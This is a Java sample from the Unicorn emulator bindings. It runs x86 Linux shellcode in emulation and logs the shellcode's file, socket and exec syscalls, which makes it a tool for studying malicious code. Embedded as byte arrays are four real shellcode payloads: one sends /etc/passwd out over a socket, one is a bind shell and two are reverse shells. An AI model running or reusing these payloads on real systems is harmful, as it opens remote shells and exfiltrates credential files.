1 /*
2 
3 Java bindings for the Unicorn Emulator Engine
4 
5 Copyright(c) 2015 Chris Eagle
6 
7 This program is free software; you can redistribute it and/or
8 modify it under the terms of the GNU General Public License
9 version 2 as published by the Free Software Foundation.
10 
11 This program is distributed in the hope that it will be useful,
12 but WITHOUT ANY WARRANTY; without even the implied warranty of
13 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
14 GNU General Public License for more details.
15 
16 You should have received a copy of the GNU General Public License
17 along with this program; if not, write to the Free Software
18 Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
19 
20 */
21 
22 /*
23   Unicorn sample for auditing network connection and file handling in shellcode.
24   Nguyen Tan Cong <shenlongbk@gmail.com>
25 */
26 
27 import unicorn.*;
28 import java.util.*;
29 
30 
31 public class SampleNetworkAuditing {
32 
33    public static int next_id = 3;
34    public static final int SIZE_REG = 4;
35 
36    private static LogChain fd_chains = new LogChain();
37 
get_id()38    public static int get_id() {
39       return next_id++;
40    }
41 
toInt(byte val[])42    public static final long toInt(byte val[]) {
43       long res = 0;
44       for (int i = 0; i < val.length; i++) {
45          long v = val[i] & 0xff;
46          res = res + (v << (i * 8));
47       }
48       return res;
49    }
50 
toBytes(long val)51    public static final byte[] toBytes(long val) {
52       byte[] res = new byte[8];
53       for (int i = 0; i < 8; i++) {
54          res[i] = (byte)(val & 0xff);
55          val >>>= 8;
56       }
57       return res;
58    }
59 
60 
61    private static class MyInterruptHook implements InterruptHook {
62       // callback for tracing Linux interrupt
hook(Unicorn uc, int intno, Object user)63       public void hook(Unicorn uc, int intno, Object user) {
64 //         System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode()));
65 
66          // only handle Linux syscall
67          if (intno != 0x80) {
68             return;
69          }
70          Long eax = (Long)uc.reg_read(Unicorn.UC_X86_REG_EAX);
71          Long ebx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX);
72          Long ecx = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX);
73          Long edx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EDX);
74          Long eip = (Long)uc.reg_read(Unicorn.UC_X86_REG_EIP);
75 
76           // System.out.printf(">>> INTERRUPT %d\n", toInt(eax));
77 
78          if (eax == 1) {    // sys_exit
79             System.out.printf(">>> SYS_EXIT\n");
80             uc.emu_stop();
81          }
82          else if (eax == 3) { // sys_read
83             long fd = ebx;
84             long buf = ecx;
85             long count = edx;
86 
87             String uuid = UUID.randomUUID().toString().substring(0, 32);
88 
89             byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, (int)Math.min(count, uuid.length()));
90             uc.mem_write(buf, dummy_content);
91 
92             String msg = String.format("read %d bytes from fd(%d) with dummy_content(%s)", count, fd, uuid.substring(0, dummy_content.length));
93 
94             fd_chains.add_log(fd, msg);
95             System.out.printf(">>> %s\n", msg);
96          }
97          else if (eax == 4) { // sys_write
98             long fd = ebx;
99             long buf = ecx;
100             long count = edx;
101 
102             byte[] content = uc.mem_read(buf, count);
103 
104             String msg = String.format("write data=%s count=%d to fd(%d)", new String(content), count, fd);
105 
106             System.out.printf(">>> %s\n", msg);
107             fd_chains.add_log(fd, msg);
108          }
109          else if (eax == 5) { // sys_open
110             long filename_addr = ebx;
111             long flags = ecx;
112             long mode = edx;
113             String filename = read_string(uc, filename_addr);
114 
115             Long dummy_fd = new Long(get_id());
116             uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd);
117 
118             String msg = String.format("open file (filename=%s flags=%d mode=%d) with fd(%d)", filename, flags, mode, dummy_fd);
119 
120             fd_chains.create_chain(dummy_fd);
121             fd_chains.add_log(dummy_fd, msg);
122             System.out.printf(">>> %s\n", msg);
123          }
124          else if (eax == 11) { // sys_execv
125             // System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx));
126             String filename = read_string(uc, ebx);
127 
128             System.out.printf(">>> SYS_EXECV filename=%s\n", filename);
129          }
130          else if (eax == 63) { // sys_dup2
131             fd_chains.link_fd(ecx, ebx);
132             System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx);
133          }
134          else if (eax == 102) { // sys_socketcall
135             // ref: http://www.skyfree.org/linux/kernel_network/socket.html
136             Long call = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX);
137             Long args = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX);
138 
139             // int sys_socketcall(int call, unsigned long *args)
140             if (call == 1) { // sys_socket
141                // err = sys_socket(a0,a1,a[2])
142                // int sys_socket(int family, int type, int protocol)
143                long family = toInt(uc.mem_read(args, SIZE_REG));
144                long sock_type = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
145                long protocol = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
146 
147                Long dummy_fd = new Long(get_id());
148                uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd.intValue());
149 
150                if (family == 2) {  // AF_INET
151                   String msg = String.format("create socket (%s, %s) with fd(%d)", ADDR_FAMILY.get(family), SOCKET_TYPES.get(sock_type), dummy_fd);
152                   fd_chains.create_chain(dummy_fd);
153                   fd_chains.add_log(dummy_fd, msg);
154                   print_sockcall(msg);
155                }
156                else if (family == 3) { // AF_INET6
157                }
158             }
159             else if (call == 2) { // sys_bind
160                long fd = toInt(uc.mem_read(args, SIZE_REG));
161                long umyaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
162                long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
163 
164                byte[] sock_addr = uc.mem_read(umyaddr, addrlen);
165 
166                String msg = String.format("fd(%d) bind to %s", fd, parse_sock_address(sock_addr));
167                fd_chains.add_log(fd, msg);
168                print_sockcall(msg);
169             }
170             else if (call == 3) { // sys_connect
171                // err = sys_connect(a0, (struct sockaddr *)a1, a[2])
172                // int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
173                long fd = toInt(uc.mem_read(args, SIZE_REG));
174                long uservaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
175                long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
176 
177                byte[] sock_addr = uc.mem_read(uservaddr, addrlen);
178                String msg = String.format("fd(%d) connect to %s", fd, parse_sock_address(sock_addr));
179                fd_chains.add_log(fd, msg);
180                print_sockcall(msg);
181             }
182             else if (call == 4) { // sys_listen
183                long fd = toInt(uc.mem_read(args, SIZE_REG));
184                long backlog = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
185 
186                String msg = String.format("fd(%d) listened with backlog=%d", fd, backlog);
187                fd_chains.add_log(fd, msg);
188                print_sockcall(msg);
189             }
190             else if (call == 5) { // sys_accept
191                long fd = toInt(uc.mem_read(args, SIZE_REG));
192                long upeer_sockaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
193                long upeer_addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
194 
195                // System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen))
196 
197                if (upeer_sockaddr == 0x0) {
198                   print_sockcall(String.format("fd(%d) accept client", fd));
199                }
200                else {
201                   long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4));
202 
203                   byte[] sock_addr = uc.mem_read(upeer_sockaddr, upeer_len);
204 
205                   String msg = String.format("fd(%d) accept client with upeer=%s", fd, parse_sock_address(sock_addr));
206                   fd_chains.add_log(fd, msg);
207                   print_sockcall(msg);
208                }
209             }
210             else if (call == 9) { // sys_send
211                long fd = toInt(uc.mem_read(args, SIZE_REG));
212                long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
213                long length = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
214                long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
215 
216                byte[] buf = uc.mem_read(buff, length);
217                String msg = String.format("fd(%d) send data=%s", fd, new String(buf));
218                fd_chains.add_log(fd, msg);
219                print_sockcall(msg);
220             }
221             else if (call == 11) { // sys_receive
222                long fd = toInt(uc.mem_read(args, SIZE_REG));
223                long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
224                long size = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
225                long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
226 
227                String msg = String.format("fd(%d) is gonna receive data with size=%d flags=%d", fd, size, flags);
228                fd_chains.add_log(fd, msg);
229                print_sockcall(msg);
230             }
231             else if (call == 13) { // sys_shutdown
232                long fd = toInt(uc.mem_read(args, SIZE_REG));
233                long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
234 
235                String msg = String.format("fd(%d) is shutted down because of %d", fd, how);
236                fd_chains.add_log(fd, msg);
237                print_sockcall(msg);
238             }
239          }
240       }
241    }
242 
243    public static final Hashtable<Long, String> SOCKET_TYPES;
244    public static final Hashtable<Long, String> ADDR_FAMILY;
245    static {
246       SOCKET_TYPES = new Hashtable<Long, String>();
247       ADDR_FAMILY = new Hashtable<Long, String>();
248       SOCKET_TYPES.put(1L, "SOCK_STREAM");
249       SOCKET_TYPES.put(2L, "SOCK_DGRAM");
250       SOCKET_TYPES.put(3L, "SOCK_RAW");
251       SOCKET_TYPES.put(4L, "SOCK_RDM");
252       SOCKET_TYPES.put(5L, "SOCK_SEQPACKET");
253       SOCKET_TYPES.put(10L, "SOCK_PACKET");
254 
255       ADDR_FAMILY.put(0L, "AF_UNSPEC");
256       ADDR_FAMILY.put(1L, "AF_UNIX");
257       ADDR_FAMILY.put(2L, "AF_INET");
258       ADDR_FAMILY.put(3L, "AF_AX25");
259       ADDR_FAMILY.put(4L, "AF_IPX");
260       ADDR_FAMILY.put(5L, "AF_APPLETALK");
261       ADDR_FAMILY.put(6L, "AF_NETROM");
262       ADDR_FAMILY.put(7L, "AF_BRIDGE");
263       ADDR_FAMILY.put(8L, "AF_AAL5");
264       ADDR_FAMILY.put(9L, "AF_X25");
265       ADDR_FAMILY.put(10L, "AF_INET6");
266       ADDR_FAMILY.put(12L, "AF_MAX");
267    }
268 
269 // http://shell-storm.org/shellcode/files/shellcode-861.php
270    public static final byte[] X86_SEND_ETCPASSWD = {106,102,88,49,-37,67,49,-46,82,106,1,106,2,-119,-31,-51,-128,-119,-58,106,102,88,67,104,127,1,1,1,102,104,48,57,102,83,-119,-31,106,16,81,86,-119,-31,67,-51,-128,-119,-58,106,1,89,-80,63,-51,-128,-21,39,106,5,88,91,49,-55,-51,-128,-119,-61,-80,3,-119,-25,-119,-7,49,-46,-74,-1,-78,-1,-51,-128,-119,-62,106,4,88,-77,1,-51,-128,106,1,88,67,-51,-128,-24,-44,-1,-1,-1,47,101,116,99,47,112,97,115,115,119,100};
271 // http://shell-storm.org/shellcode/files/shellcode-882.php
272    public static final byte[] X86_BIND_TCP = {106,102,88,106,1,91,49,-10,86,83,106,2,-119,-31,-51,-128,95,-105,-109,-80,102,86,102,104,5,57,102,83,-119,-31,106,16,81,87,-119,-31,-51,-128,-80,102,-77,4,86,87,-119,-31,-51,-128,-80,102,67,86,86,87,-119,-31,-51,-128,89,89,-79,2,-109,-80,63,-51,-128,73,121,-7,-80,11,104,47,47,115,104,104,47,98,105,110,-119,-29,65,-119,-54,-51,-128};
273 // http://shell-storm.org/shellcode/files/shellcode-883.php
274    public static final byte[] X86_REVERSE_TCP = {106,102,88,106,1,91,49,-46,82,83,106,2,-119,-31,-51,-128,-110,-80,102,104,127,1,1,1,102,104,5,57,67,102,83,-119,-31,106,16,81,82,-119,-31,67,-51,-128,106,2,89,-121,-38,-80,63,-51,-128,73,121,-7,-80,11,65,-119,-54,82,104,47,47,115,104,104,47,98,105,110,-119,-29,-51,-128};
275 // http://shell-storm.org/shellcode/files/shellcode-849.php
276    public static final byte[] X86_REVERSE_TCP_2 = {49,-64,49,-37,49,-55,49,-46,-80,102,-77,1,81,106,6,106,1,106,2,-119,-31,-51,-128,-119,-58,-80,102,49,-37,-77,2,104,-64,-88,1,10,102,104,122,105,102,83,-2,-61,-119,-31,106,16,81,86,-119,-31,-51,-128,49,-55,-79,3,-2,-55,-80,63,-51,-128,117,-8,49,-64,82,104,110,47,115,104,104,47,47,98,105,-119,-29,82,83,-119,-31,82,-119,-30,-80,11,-51,-128};
277 
278    // memory address where emulation starts
279    public static final int ADDRESS = 0x1000000;
280 
join(ArrayList<String> l, String sep)281    public static String join(ArrayList<String> l, String sep) {
282       boolean first = true;
283       StringBuilder res = new StringBuilder();
284       for (String s : l) {
285          if (!first) {
286             res.append(sep);
287          }
288          res.append(s);
289          first = false;
290       }
291       return res.toString();
292    }
293 
294    private static class LogChain {
295       public Hashtable<Long, ArrayList<String>> __chains = new Hashtable<Long, ArrayList<String>>();
296       public Hashtable<Long, ArrayList<Long>> __linking_fds = new Hashtable<Long, ArrayList<Long>>();
297 
clean()298       public void clean() {
299          __chains.clear();
300          __linking_fds.clear();
301       }
302 
create_chain(long id)303       public void create_chain(long id) {
304          if (!__chains.containsKey(id)) {
305             __chains.put(id, new ArrayList<String>());
306          }
307          else {
308             System.out.printf("LogChain: id %d existed\n", id);
309          }
310       }
311 
add_log(long id, String msg)312       public void add_log(long id, String msg) {
313          long fd = get_original_fd(id);
314 
315          if (fd != -1) {
316             __chains.get(fd).add(msg);
317          }
318          else {
319             System.out.printf("LogChain: id %d doesn't exist\n", id);
320          }
321       }
322 
link_fd(long from_fd, long to_fd)323       public void link_fd(long from_fd, long to_fd) {
324          if (!__linking_fds.containsKey(to_fd)) {
325             __linking_fds.put(to_fd, new ArrayList<Long>());
326          }
327 
328          __linking_fds.get(to_fd).add(from_fd);
329       }
330 
get_original_fd(long fd)331       public long get_original_fd(long fd) {
332          if (__chains.containsKey(fd)) {
333             return fd;
334          }
335 
336          for (Long orig_fd : __linking_fds.keySet()) {
337             if (__linking_fds.get(orig_fd).contains(fd))
338                return orig_fd;
339          }
340          return -1;
341       }
342 
print_report()343       public void print_report() {
344          System.out.printf("\n----------------");
345          System.out.printf("\n| START REPORT |");
346          System.out.printf("\n----------------\n\n");
347          for (Long fd : __chains.keySet()) {
348             System.out.printf("---- START FD(%d) ----\n", fd);
349             System.out.println(join(__chains.get(fd), "\n"));
350             System.out.printf("---- END FD(%d) ----\n", fd);
351          }
352          System.out.printf("\n--------------");
353          System.out.printf("\n| END REPORT |");
354          System.out.printf("\n--------------\n\n");
355       }
356    }
357    // end supported classes
358 
359    // utilities
read_string(Unicorn uc, long addr)360    static String read_string(Unicorn uc, long addr) {
361       StringBuilder ret = new StringBuilder();
362       char c;
363       do {
364          c = (char)(uc.mem_read(addr++, 1)[0] & 0xff);
365          if (c != 0) {
366             ret.append(c);
367          }
368       } while (c != 0);
369 
370       return ret.toString();
371    }
372 
parse_sock_address(byte[] sock_addr)373    static String parse_sock_address(byte[] sock_addr) {
374       int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff;
375 
376       if (sin_family == 2) { // AF_INET
377          int sin_port = ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff;
378          return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, sin_port);
379       }
380       else if (sin_family == 6) // AF_INET6
381          return "";
382       return null;
383    }
384 
print_sockcall(String msg)385    static void print_sockcall(String msg) {
386       System.out.printf(">>> SOCKCALL %s\n", msg);
387    }
388    // end utilities
389 
test_i386(byte[] code)390    static void test_i386(byte[] code) {
391       fd_chains.clean();
392       System.out.printf("Emulate i386 code\n");
393       try {
394          // Initialize emulator in X86-32bit mode
395          Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
396 
397          // map 2MB memory for this emulation
398          mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
399 
400          // write machine code to be emulated to memory
401          mu.mem_write(ADDRESS, code);
402 
403          // initialize stack
404          mu.reg_write(Unicorn.UC_X86_REG_ESP, new Long(ADDRESS + 0x200000));
405 
406          // handle interrupt ourself
407          mu.hook_add(new MyInterruptHook(), null);
408 
409          // emulate machine code in infinite time
410          mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0);
411 
412          // now print out some registers
413          System.out.printf(">>> Emulation done\n");
414 
415       } catch (UnicornException uex) {
416          System.out.printf("ERROR: %s\n", uex.getMessage());
417       }
418 
419       fd_chains.print_report();
420    }
421 
main(String args[])422    public static void main(String args[]) {
423       test_i386(X86_SEND_ETCPASSWD);
424       test_i386(X86_BIND_TCP);
425       test_i386(X86_REVERSE_TCP);
426       test_i386(X86_REVERSE_TCP_2);
427    }
428 
429 }
430